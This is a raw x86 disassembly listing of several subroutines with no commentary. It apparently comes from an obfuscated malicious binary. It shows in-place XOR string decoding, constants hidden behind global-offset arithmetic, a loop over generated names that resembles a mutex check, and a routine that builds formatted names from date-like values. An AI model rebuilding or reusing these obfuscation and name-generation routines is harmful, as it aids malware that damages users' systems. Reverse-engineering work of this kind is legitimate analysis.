		push	10013DA0h
		call	dword ptr ds:1000EFB8h
		mov	dword ptr ds:10014250h,	1


loc_423124:				; CODE XREF: sub_4230FC+11j
		mov	esi, ds:10014154h
		add	esi, 3
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+2]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		mov	edx, ds:10014214h
		add	edx, ds:10014094h
		dec	edx
		imul	ebx, edx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, ds:1001424Ch
		movsx	ecx, word ptr ds:100141B8h
		add	edx, ecx
		sub	edx, 8
		cmp	eax, edx
		jz	loc_4231FA
		push	10013DA0h
		call	dword ptr ds:1001383Ch
		mov	eax, ds:1001420Ch
		dec	eax
		mov	[ebp+var_2], ax
		jmp	short loc_4231AF
; ---------------------------------------------------------------------------


loc_42318A:				; CODE XREF: sub_4230FC+BDj
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+4]
		xor	edx, ecx
		mov	[eax], dl
		movzx	eax, [ebp+var_2]
		movsx	edx, word ptr ds:100140C4h
		sub	edx, 7
		add	eax, edx
		mov	[ebp+var_2], ax


loc_4231AF:				; CODE XREF: sub_4230FC+8Cj
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_42318A
		mov	eax, ds:100141F8h
		add	eax, ds:10014230h
		sub	eax, 0Dh
		mov	edx, ds:10014188h
		sub	edx, 9
		mov	[edi+eax], dl
		movsx	eax, word ptr ds:100140B8h
		sub	eax, 7
		mov	edx, ds:100140F0h
		add	edx, ds:100141E0h
		dec	edx
		mov	[edi+eax], dl
		push	10013DA0h
		call	dword ptr ds:10012824h


loc_4231FA:				; CODE XREF: sub_4230FC+71j
		lea	eax, [edi+6]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423202	proc near		; CODE XREF: sub_4229B3+1BAp
					; sub_4229B3+1DBp

var_4F		= byte ptr -4Fh
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	dword ptr ds:10013950h
		mov	[ebp+var_8], eax
		mov	eax, ds:100141E0h
		mov	esi, eax
		add	esi, ds:100141C8h
		sub	esi, 3
		jmp	short loc_42325F
; ---------------------------------------------------------------------------


loc_423229:				; CODE XREF: sub_423202+74j
		cmp	dword ptr ds:1000F0E0h[esi*4], 0
		jz	short loc_42325E
		mov	edx, ds:10012830h[esi*4]
		mov	ecx, ds:10014240h
		add	ecx, 0EA60h
		mov	eax, ds:100141ECh
		dec	eax
		imul	ecx, eax
		add	edx, ecx
		cmp	edx, [ebp+var_8]
		jnb	short loc_42325E
		and	dword ptr ds:1000F0E0h[esi*4], 0


loc_42325E:				; CODE XREF: sub_423202+2Fj
					; sub_423202+52j
		inc	esi


loc_42325F:				; CODE XREF: sub_423202+25j
		movsx	eax, word ptr ds:10014160h
		movsx	edx, word ptr ds:100140B8h
		lea	eax, [eax+edx+3D9h]
		cmp	esi, eax
		jb	short loc_423229


loc_423278:				; CODE XREF: sub_423202+97j
					; sub_423202+26Bj
		mov	eax, [ebx]
		mov	[ebp+var_14], eax
		lea	ebx, [ebx+eax]
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	loc_423473
		mov	eax, ds:10014094h
		add	eax, 2
		cmp	[ebp+var_14], eax
		ja	short loc_423278
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_4232A0:				; CODE XREF: sub_423202+A3j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4232A0
		mov	[ebp+var_10], eax
		mov	eax, ds:10014118h
		mov	edx, ebx
		sub	edx, [ebp+arg_0]
		mov	ecx, eax
		add	ecx, eax
		mov	eax, ecx
		sub	eax, 8
		sub	edx, eax
		mov	[ebp+var_C], edx
		mov	[ebp+var_1], 44h
		mov	eax, ds:10014104h
		sub	eax, 4
		cmp	byte ptr [ebx+eax], 2Ah
		jnz	short loc_4232D8
		mov	[ebp+var_1], 43h


loc_4232D8:				; CODE XREF: sub_423202+D0j
		mov	eax, ds:100140DCh
		mov	edi, eax
		add	edi, ds:1001409Ch
		dec	edi
		jmp	short loc_42330F
; ---------------------------------------------------------------------------


loc_4232E8:				; CODE XREF: sub_423202+11Fj
		cmp	dword ptr ds:1000F0E0h[edi*4], 0
		jz	short loc_42330E
		mov	edx, [ebp+var_C]
		cmp	ds:1000E010h[edi*4], edx
		jnz	short loc_42330E
		mov	dl, ds:100101B0h[edi]
		cmp	dl, [ebp+var_1]
		jz	loc_423458


loc_42330E:				; CODE XREF: sub_423202+EEj
					; sub_423202+FAj
		inc	edi


loc_42330F:				; CODE XREF: sub_423202+E4j
		mov	eax, ds:1001414Ch
		add	eax, 3E0h
		add	eax, ds:10014240h
		cmp	edi, eax
		jb	short loc_4232E8
		mov	eax, ds:100140CCh
		add	eax, 3B1h
		add	eax, ds:10014244h
		cmp	[ebp+var_10], eax
		jbe	loc_423408
		movsx	eax, word ptr ds:10014090h
		add	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_4F]
		push	eax
		call	sub_4240DE
		add	esp, 8
		movsx	eax, word ptr ds:100141C0h
		add	eax, 3B7h
		mov	[ebp+var_18], eax
		movsx	eax, word ptr ds:100140E4h
		add	eax, ds:100141CCh
		sub	eax, 3
		mov	[ebp+var_1C], eax


loc_423375:				; CODE XREF: sub_423202+201j
		mov	eax, [ebp+var_18]
		mov	al, [ebx+eax]
		mov	[ebp+var_1D], al
		mov	eax, [ebp+var_18]
		mov	edx, ds:1001410Ch
		add	edx, ds:1001417Ch
		sub	edx, 9
		mov	[ebx+eax], dl
		push	1000EFD0h
		push	[ebp+var_10]
		push	[ebp+var_1C]
		lea	eax, [ebp+var_4F]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		mov	eax, ds:10014200h
		movsx	edx, word ptr ds:1001411Ch
		add	eax, edx
		sub	eax, 0Ah
		and	eax, 0FFh
		push	eax
		call	sub_41C00F
		add	esp, 24h
		mov	eax, [ebp+var_18]
		mov	dl, [ebp+var_1D]
		mov	[ebx+eax], dl
		mov	[ebp+var_1C], eax
		movsx	eax, word ptr ds:10014114h
		mov	edx, ds:1001424Ch
		lea	eax, [eax+edx+3AEh]
		add	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_18], eax
		jbe	short loc_4233FB
		mov	[ebp+var_18], eax


loc_4233FB:				; CODE XREF: sub_423202+1F4j
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_1C], eax
		jnb	short loc_423453
		jmp	loc_423375
; ---------------------------------------------------------------------------


loc_423408:				; CODE XREF: sub_423202+134j
		push	10014C51h
		call	sub_41B08F
		push	1000EFD0h
		push	[ebp+var_10]
		movsx	edx, word ptr ds:10014128h
		sub	edx, 5
		push	edx
		push	eax
		mov	edx, [ebp+arg_C]
		push	dword ptr [edx]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		mov	edx, ds:10014238h
		movsx	ecx, word ptr ds:10014190h
		add	edx, ecx
		sub	edx, 0Eh
		and	edx, 0FFh
		push	edx
		call	sub_41C00F
		add	esp, 28h


loc_423453:				; CODE XREF: sub_423202+1FFj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_423458:				; CODE XREF: sub_423202+106j
		mov	eax, [ebp+var_10]
		lea	ebx, [ebx+eax]
		inc	ebx
		mov	eax, [ebp+arg_C]
		mov	edx, ds:10014208h
		add	edx, 0Eh
		cmp	[eax], edx
		jbe	loc_423278


loc_423473:				; CODE XREF: sub_423202+86j
		push	10014C4Dh
		call	sub_41B08F
		push	1000EFD0h
		mov	edx, ds:100141C8h
		mov	ecx, ds:10014214h
		add	ecx, edx
		sub	ecx, 3
		push	ecx
		movsx	ecx, word ptr ds:10014120h
		add	ecx, ds:100140C0h
		sub	ecx, 0Dh
		push	ecx
		push	eax
		add	edx, ds:1001417Ch
		sub	edx, 0Bh
		push	edx
		push	0
		push	0
		push	[ebp+arg_8]
		mov	edx, ds:1001410Ch
		movsx	ecx, word ptr ds:100141F0h
		add	edx, ecx
		dec	edx
		and	edx, 0FFh
		push	edx
		call	sub_41C00F
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423202	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234DB	proc near		; CODE XREF: .data:loc_41A7E7p
					; .data:00424DDDp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		push	edi
		mov	edi, ds:100141E0h
		add	edi, 4
		jmp	short loc_42356A
; ---------------------------------------------------------------------------


loc_4234F1:				; CODE XREF: sub_4234DB+9Bj
		push	10014C41h
		call	sub_41B08F
		mov	[ebp+var_108], eax
		push	10014C37h
		call	sub_41B08F
		push	edi
		push	eax
		mov	esi, [ebp+var_108]
		push	esi
		lea	esi, [ebp+var_FF]
		push	esi
		call	dword ptr ds:10013810h
		add	esp, 18h
		lea	eax, [ebp+var_FF]
		push	eax
		push	0
		push	100000h
		call	dword ptr ds:1001281Ch
		mov	[ebp+var_104], eax
		or	eax, eax
		jz	short loc_423569
		push	eax
		call	dword ptr ds:1001282Ch
		movsx	eax, word ptr ds:10014120h
		add	eax, ds:1001410Ch
		sub	eax, 4
		cmp	edi, eax
		jnz	short loc_423562
		xor	eax, eax
		inc	eax
		jmp	short loc_42357E
; ---------------------------------------------------------------------------


loc_423562:				; CODE XREF: sub_4234DB+80j
		mov	eax, 2
		jmp	short loc_42357E
; ---------------------------------------------------------------------------


loc_423569:				; CODE XREF: sub_4234DB+65j
		inc	edi


loc_42356A:				; CODE XREF: sub_4234DB+14j
		movsx	eax, word ptr ds:100141C0h
		add	eax, 5Bh
		cmp	edi, eax
		jb	loc_4234F1
		xor	eax, eax


loc_42357E:				; CODE XREF: sub_4234DB+85j
					; sub_4234DB+8Cj
		pop	edi
		pop	esi
		leave
		retn
sub_4234DB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	10013D8Ch
		call	dword ptr ds:100109F4h
		mov	eax, ds:10013D8Ch
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423599	proc near		; CODE XREF: sub_41E931+296p
					; sub_41EF87+3ACp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		inc	esi
		mov	edi, ds:100141A8h
		add	edi, 11h
		movsx	ebx, word ptr ds:10014160h
		add	edi, ebx
		mov	eax, esi
		test	eax, eax
		jge	short loc_4235C3
		add	eax, 0FFh


loc_4235C3:				; CODE XREF: sub_423599+23j
		sar	eax, 8
		movsx	ebx, word ptr ds:10014128h
		mov	ecx, ds:1001418Ch
		lea	ebx, [ebx+ecx+3]
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_8], edi
		mov	edi, ds:100141A0h
		add	edi, 13h
		movsx	ebx, word ptr ds:100140E4h
		add	edi, ebx
		mov	eax, esi
		test	eax, eax
		jge	short loc_4235FE
		add	eax, 0FFh


loc_4235FE:				; CODE XREF: sub_423599+5Ej
		sar	eax, 8
		mov	ebx, ds:10014230h
		add	ebx, 0Ah
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_C], edi
		mov	edi, ds:10014240h
		add	edi, 18h
		add	edi, ds:1001417Ch
		mov	eax, esi
		test	eax, eax
		jge	short loc_42362E
		add	eax, 0FFFFh


loc_42362E:				; CODE XREF: sub_423599+8Ej
		sar	eax, 10h
		movsx	ebx, word ptr ds:10014180h
		add	ebx, 12h
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_10], edi
		mov	eax, esi
		mul	[ebp+var_8]
		mov	[ebp+var_1C], eax
		and	eax, 0FFh
		push	eax
		call	sub_424763
		mov	ebx, eax
		mov	[ebp+var_1], bl
		mov	eax, ds:100141FCh
		add	eax, 8
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_41E376
		mov	ebx, eax
		mov	[ebp+var_11], bl
		mov	eax, esi
		mul	[ebp+var_C]
		mov	[ebp+var_20], eax
		and	eax, 0FFh
		push	eax
		call	sub_424763
		mov	ebx, eax
		mov	[ebp+var_12], bl
		mov	eax, ds:1001409Ch
		add	eax, 6Ah
		add	eax, ds:10014200h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_41E376
		mov	ebx, eax
		mov	[ebp+var_13], bl
		mov	eax, esi
		and	eax, 0FFh
		push	eax
		call	sub_424763
		mov	ebx, eax
		mov	[ebp+var_14], bl
		movsx	eax, word ptr ds:1001421Ch
		mov	edx, ds:1001424Ch
		lea	eax, [eax+edx+20h]
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_41E376
		mov	ebx, eax
		mov	[ebp+var_15], bl
		mov	eax, esi
		mul	[ebp+var_10]
		mov	[ebp+var_24], eax
		and	eax, 0FFh
		push	eax
		call	sub_424763
		mov	ebx, eax
		mov	[ebp+var_16], bl
		movsx	eax, word ptr ds:100141F0h
		add	eax, 47h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_41E376
		mov	ebx, eax
		mov	[ebp+var_17], bl
		mov	eax, ds:100140CCh
		add	eax, 3Bh
		add	eax, ds:10014094h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_424763
		add	esp, 24h
		mov	ebx, eax
		mov	[ebp+var_18], bl
		movzx	edi, [ebp+var_1]
		mov	eax, edi
		shr	eax, 1
		movsx	esi, word ptr ds:100140E8h
		add	esi, ds:100141D8h
		sub	esi, 5
		mul	esi
		mov	[ebp+var_28], eax
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_4237BD
		push	10014C1Dh
		call	sub_41B08F
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:10013810h
		add	esp, 30h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237BD:				; CODE XREF: sub_423599+1DCj
		push	10014C02h
		call	sub_41B08F
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:10013810h
		add	esp, 30h


loc_423801:				; CODE XREF: sub_423599+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423599	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423806	proc near		; CODE XREF: sub_41D579+24Fp
					; sub_424EDB+2BDp

var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_316		= byte ptr -316h
var_212		= byte ptr -212h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 32Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	dword ptr ds:1001380Ch
		pop	ecx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_425D7D
		lea	ecx, [ebp+var_316]
		or	eax, 0FFFFFFFFh


loc_423834:				; CODE XREF: sub_423806+33j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_423834
		mov	ebx, eax
		sub	ebx, ds:100141E4h
		movsx	edx, word ptr ds:100141C0h
		add	edx, ds:1001416Ch
		sub	edx, 0Bh
		mov	[ebp+ebx+var_316], dl
		mov	edi, ds:10014248h


loc_423860:				; CODE XREF: sub_423806+164j
		mov	eax, edi
		movsx	ecx, word ptr ds:10014204h
		movsx	ebx, word ptr ds:100141F0h
		add	ecx, ebx
		sub	ecx, 6
		mul	ecx
		mov	[ebp+var_320], eax
		movsx	eax, [ebp+edi+var_316]
		mov	edx, [ebp+var_320]
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		mov	ecx, ds:100140D4h
		add	ecx, 2
		add	ecx, ds:100140F0h
		mul	ecx
		mov	[ebp+var_324], eax
		mov	eax, ds:100141ACh
		sub	eax, 4
		mov	edx, [ebp+var_324]
		add	edx, eax
		movsx	eax, word ptr ds:10014164h
		sub	eax, 4
		mov	[ebp+edx+var_212], al
		movsx	eax, [ebp+edi+var_316]
		mov	edx, ds:100140BCh
		movsx	ecx, word ptr ds:100140A0h
		add	edx, ecx
		sub	edx, 3
		cmp	eax, edx
		jnz	short loc_423969
		mov	eax, edi
		mov	ecx, ds:10014178h
		sub	ecx, 3
		mul	ecx
		mov	[ebp+var_328], eax
		mov	eax, ds:100140D0h
		add	eax, ds:100141E4h
		mov	edx, [ebp+var_328]
		add	edx, eax
		mov	eax, ds:10014188h
		sub	eax, 9
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		movsx	ecx, word ptr ds:10014190h
		add	ecx, ds:10014198h
		sub	ecx, 0Ch
		mul	ecx
		mov	[ebp+var_32C], eax
		mov	eax, ds:100140ECh
		movsx	edx, word ptr ds:10014128h
		add	eax, edx
		sub	eax, 8
		mov	edx, [ebp+var_32C]
		add	edx, eax
		mov	eax, ds:100141C4h
		add	eax, ds:10014224h
		sub	eax, 6
		mov	[ebp+edx+var_212], al
		jmp	short loc_42396F
; ---------------------------------------------------------------------------


loc_423969:				; CODE XREF: sub_423806+E2j
		inc	edi
		jmp	loc_423860
; ---------------------------------------------------------------------------


loc_42396F:				; CODE XREF: sub_423806+161j
		cmp	dword ptr ds:1001426Ch,	0
		jz	short loc_4239B2
		lea	eax, [ebp+var_212]
		push	eax
		push	0
		call	dword ptr ds:100105B4h
		mov	esi, eax
		or	esi, esi
		jz	short loc_4239B2
		cmp	dword ptr ds:10014270h,	0
		jz	short loc_4239D3
		movsx	eax, word ptr ds:10014128h
		sub	eax, 4
		neg	eax
		push	eax
		lea	eax, [ebp+var_212]
		push	eax
		push	0
		call	dword ptr ds:1000D020h


loc_4239B2:				; CODE XREF: sub_423806+170j
					; sub_423806+185j
		push	dword ptr ds:100105C4h
		push	dword ptr ds:100137E0h
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_41F8D9
		add	esp, 0Ch
		mov	[ebp+var_31C], eax


loc_4239D3:				; CODE XREF: sub_423806+18Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423806	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4239D8	proc near		; CODE XREF: .data:0041EDECp
					; sub_4229B3+1Ep ...

var_1008C	= dword	ptr -1008Ch
var_10088	= dword	ptr -10088h
var_10084	= dword	ptr -10084h
var_10080	= dword	ptr -10080h
var_1007C	= dword	ptr -1007Ch
var_10078	= word ptr -10078h
var_10070	= dword	ptr -10070h
var_10064	= dword	ptr -10064h
var_10060	= dword	ptr -10060h
var_1005C	= dword	ptr -1005Ch
var_10055	= byte ptr -10055h
var_10054	= dword	ptr -10054h
var_10050	= dword	ptr -10050h
var_1004C	= dword	ptr -1004Ch
var_10048	= dword	ptr -10048h
var_10044	= dword	ptr -10044h
var_1003F	= byte ptr -1003Fh
var_40		= word ptr -40h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008Ch
		call	sub_425D5D
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_40], 8
		push	10014BF4h
		call	sub_4230FC
		pop	ecx
		push	eax
		call	dword ptr ds:1000DFF8h
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	esi, [ebp+var_40]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		movsx	eax, word ptr ds:1001423Ch
		add	eax, ds:10014140h
		sub	eax, 0Eh
		cmp	ebx, eax
		jz	short loc_423A3C
		xor	eax, eax
		jmp	loc_4240C2
; ---------------------------------------------------------------------------


loc_423A3C:				; CODE XREF: sub_4239D8+5Bj
		lea	eax, [ebp+var_24]
		push	eax
		push	10015C54h
		mov	eax, [ebp+var_2C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word ptr ds:10014130h
		add	eax, ds:10014108h
		sub	eax, 0Bh
		cmp	ebx, eax
		jnz	loc_4240B7
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		movsx	eax, word ptr ds:10014090h
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_4240AE
		mov	eax, ds:1001420Ch
		add	eax, ds:100141A0h
		sub	eax, 7
		mov	[ebp+var_1C], eax
		jmp	loc_4240A2
; ---------------------------------------------------------------------------


loc_423AA3:				; CODE XREF: sub_4239D8+6D0j
		mov	[ebp+var_18], 2
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_24]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, ds:100141D0h
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_42409F
		and	[ebp+var_10044], 0
		lea	eax, [ebp+var_10044]
		push	eax
		push	10015C64h
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:100141D4h
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_42407B
		cmp	[ebp+var_10044], 0
		jz	loc_42407B
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_10044]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F8h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_42407B
		lea	eax, [ebp+var_1003F]
		push	eax
		push	[ebp+var_20]
		call	sub_41BCA3
		mov	eax, ds:100141E0h
		add	eax, ds:100141D8h
		sub	eax, 3
		push	eax
		push	100111F0h
		lea	eax, [ebp+var_1003F]
		push	eax
		call	sub_4251A5
		add	esp, 14h
		movsx	edi, word ptr ds:1001412Ch
		mov	esi, ds:100140FCh
		lea	edi, [edi+esi+0FFF0h]
		cmp	eax, edi
		jz	loc_42407B
		movsx	eax, word ptr ds:1001423Ch
		add	eax, ds:100141BCh
		sub	eax, 7
		cmp	[ebp+arg_8], eax
		jnz	short loc_423BC8
		mov	eax, [ebp+var_10044]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax
		inc	eax
		jmp	loc_4240C2
; ---------------------------------------------------------------------------


loc_423BC8:				; CODE XREF: sub_4239D8+1D1j
		mov	eax, ds:100140D4h
		add	eax, 3
		add	eax, ds:10014248h
		cmp	[ebp+arg_8], eax
		jnz	short loc_423C0C
		and	[ebp+var_10088], 0
		lea	eax, [ebp+var_10088]
		push	eax
		push	10015CA4h
		mov	eax, [ebp+var_10044]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		and	[ebp+var_1008C], 0
		jmp	loc_42407B
; ---------------------------------------------------------------------------


loc_423C0C:				; CODE XREF: sub_4239D8+201j
		and	[ebp+var_1007C], 0
		lea	eax, [ebp+var_1007C]
		push	eax
		push	10015C84h
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:10014234h
		add	eax, ds:100141D8h
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_42407B
		mov	[ebp+var_10055], 44h
		push	10014BECh
		call	sub_41B08F
		mov	edi, ds:100141D0h
		movsx	esi, word ptr ds:100141DCh
		add	edi, esi
		sub	edi, 0Dh
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_4251A5
		add	esp, 10h
		mov	esi, ds:100140E0h
		add	esi, 0FFFBh
		add	esi, ds:10014124h
		cmp	eax, esi
		jz	short loc_423C95
		mov	[ebp+var_10055], 43h


loc_423C95:				; CODE XREF: sub_4239D8+2B4j
		push	10014BE4h
		call	sub_41B08F
		movsx	edi, word ptr ds:100140B4h
		add	edi, ds:10014154h
		sub	edi, 6
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_4251A5
		add	esp, 10h
		movsx	esi, word ptr ds:1001411Ch
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10064], edi
		mov	[ebp+var_10050], edi


loc_423CD7:				; CODE XREF: sub_4239D8+315j
		mov	eax, [ebp+var_10050]
		cmp	[ebp+eax+var_1003F], 26h
		jz	short loc_423CEF
		inc	[ebp+var_10050]
		jmp	short loc_423CD7
; ---------------------------------------------------------------------------


loc_423CEF:				; CODE XREF: sub_4239D8+30Dj
		mov	eax, [ebp+var_10050]
		mov	edx, ds:10014104h
		add	edx, ds:100141C4h
		sub	edx, 5
		mov	[ebp+eax+var_1003F], dl
		mov	eax, [ebp+var_10064]
		lea	eax, [ebp+eax+var_1003F]
		push	eax
		call	dword ptr ds:1000E008h
		mov	[ebp+var_10080], eax
		push	10014BDDh
		call	sub_41B08F
		push	dword ptr ds:1001418Ch
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_4251A5
		add	esp, 14h
		mov	esi, ds:10014154h
		movsx	edx, word ptr ds:10014144h
		add	esi, edx
		sub	esi, 9
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10064], edi
		mov	[ebp+var_10050], edi


loc_423D67:				; CODE XREF: sub_4239D8+3A5j
		mov	eax, [ebp+var_10050]
		cmp	[ebp+eax+var_1003F], 26h
		jz	short loc_423D7F
		inc	[ebp+var_10050]
		jmp	short loc_423D67
; ---------------------------------------------------------------------------


loc_423D7F:				; CODE XREF: sub_4239D8+39Dj
		mov	eax, [ebp+var_10050]
		movsx	edx, word ptr ds:10014190h
		movsx	ecx, word ptr ds:10014110h
		add	edx, ecx
		sub	edx, 5
		mov	[ebp+eax+var_1003F], dl
		mov	eax, [ebp+var_10064]
		lea	eax, [ebp+eax+var_1003F]
		push	eax
		call	dword ptr ds:1000E008h
		pop	ecx
		mov	[ebp+var_1005C], eax
		mov	eax, ds:10014214h
		dec	eax
		cmp	[ebp+var_10080], eax
		ja	short loc_423E28
		mov	eax, ds:1001415Ch
		mov	[ebp+var_10048], eax
		jmp	short loc_423E16
; ---------------------------------------------------------------------------


loc_423DD5:				; CODE XREF: sub_4239D8+44Ej
		mov	edi, [ebp+var_10048]
		mov	esi, edi
		shl	esi, 2
		cmp	dword ptr ds:1000F0E0h[esi], 0
		jz	short loc_423E10
		mov	edx, [ebp+var_1005C]
		cmp	ds:1000E010h[esi], edx
		jnz	short loc_423E10
		mov	dl, ds:100101B0h[edi]
		cmp	dl, [ebp+var_10055]
